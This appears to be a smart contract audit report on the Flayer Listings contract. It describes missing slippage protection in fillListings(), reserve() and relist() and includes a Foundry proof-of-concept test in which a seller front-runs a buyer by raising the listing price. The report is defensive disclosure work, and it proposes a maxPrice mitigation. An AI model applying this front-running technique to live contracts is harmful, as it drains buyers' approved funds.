Tiny Plastic Hyena

High

# Lack of slippage protection in all 'taker' functions in Listings will lead to loss of user's funds

### Summary

The functions fillListings(), reserve(), and relist() all suffer from the same underlying issue. Whoever owns the listing for an NFT may at any time modify the listing and change the price that a user must pay to acquire it. Because of the lack of slippage protection in any of these functions, a buyer might see an NFT for an attractive price, attempt to purchase, reserve, or relist it, and unexpectedly pay any arbitrary amount of tokens the listing owner sets instead of what the buyer was anticipating to spend.

### Root Cause

In Listings.sol fillListings(), reserve(), and reslist() all make use of the function [getListingPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L826) to acquire the price of the NFTs to be purchased/reserved. However, when the price of said NFTs is acquired, there are no checks to make sure it is what the user may have thought it was. For example, in [fillListings() line 570](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L570) the totalPrice has the price of all NFTs bought from one owner added to itself. Later in the function at [line 587 the contract transfers the final totalPrice from the user with no safeguards.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L587)

reserve() and relist() both use similar methods to get the price of whichever NFT is to be purchased and have a similar lack of any sort of slippage protection.

```solidity
    function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
        ...
            // If there is ERC20 left to be claimed, then deposit this into the escrow
            ownerReceives = _tload(FILL_PRICE) - (ownerIndexTokens * 1 ether * 10 ** _collectionToken.denomination());
            if (ownerReceives != 0) {
                _deposit(owner, address(_collectionToken), ownerReceives);
@>              totalPrice += ownerReceives; // @audit price to be paid set here
            }
        ...
        // Transfer enough tokens from the user to cover the `_deposit` calls made during
        // our fill loop.
        // @audit total price deducted from buyer with no slippage check
@>      _collectionToken.transferFrom(msg.sender, address(this), totalPrice);
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. A buyer sees an NFT they would like to purchase and creates a transaction to buy it, expecting a certain price
2. The seller modifies the listing - by chance or by malicious intent
3. The buyer, not seeing the change in price in time, sends the transaction
4. The buyer pays whatever the seller changed the price to, funds and allowance permitting

### Impact

The buyer suffers a loss up to the total amount of fTokens they posses and have approved the Listings contract to spend. The seller walks off with all of it.

### PoC

Please copy the following into ListingsTest in Listings.t.sol:

```solidity
function test_FrontrunFillListings() public {

        address payable frontrunner = payable(makeAddr("frontrunner"));
        uint tokenId = 5;
        uint16 initial_floor_multiple = 110;
        uint16 frontrun_floor_multiple = 300;

        address victim = makeAddr("victim");


        // Mint a mock erc to the frontrunner
        erc721a.mint(frontrunner, tokenId);

        // The frontrunner creates a listing for the nft
        vm.startPrank(frontrunner);
        erc721a.approve(address(listings), tokenId);

        _createListing({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(tokenId),
                listing: IListings.Listing({
                    owner: frontrunner,
                    created: uint40(block.timestamp),
                    duration: VALID_LIQUID_DURATION,
                    floorMultiple: initial_floor_multiple
                })
            })
        });
        vm.stopPrank();

        // The victim sees said listing, ensures that it is available and costs 1.1x the floor price
        vm.startPrank(victim);
        (bool isAvailable, uint price) = listings.getListingPrice(address(erc721a), tokenId);
        assertTrue(price == 1.1e18);
        assertTrue(isAvailable);

        // Deal the victim some tokens and approve listing contract to spend all
        deal(address(locker.collectionToken(address(erc721a))), victim, 3e18);
        locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);

        // The victim constructs a transaction with the expectation of paying 1.1x the floor price
        uint[][] memory tokenIdsOut = new uint[][](1);
        tokenIdsOut[0] = new uint[](1);
        tokenIdsOut[0][0] = tokenId;
        IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: tokenIdsOut
            });
        vm.stopPrank();

        // The frontrunner opportunistically changes the price of the listing to take advantage
        // of the lack of slippage protections.
        vm.startPrank(frontrunner);
        locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
        IListings.ModifyListing[] memory modifyParams = new IListings.ModifyListing[](1);
        modifyParams[0] = IListings.ModifyListing({
            tokenId: tokenId,
            duration: VALID_LIQUID_DURATION,
            floorMultiple: frontrun_floor_multiple
        });
        listings.modifyListings(address(erc721a), modifyParams, true);

        // The victim submits the transaction and recieves the nft, unaware that the price has been modified
        vm.startPrank(victim);
        listings.fillListings(fillParams);

        // The victim is rinsed for whatever tokens have been approved to the listing contract
        assertEq(locker.collectionToken(address(erc721a)).balanceOf(victim), 0);
        assert(listings.balances(frontrunner, address(locker.collectionToken(address(erc721a)))) > 1.1e18);
    }
```

### Mitigation

Adding a maxPrice argument to the three functions mentioned and reverting if the total price is above that would solve the issue.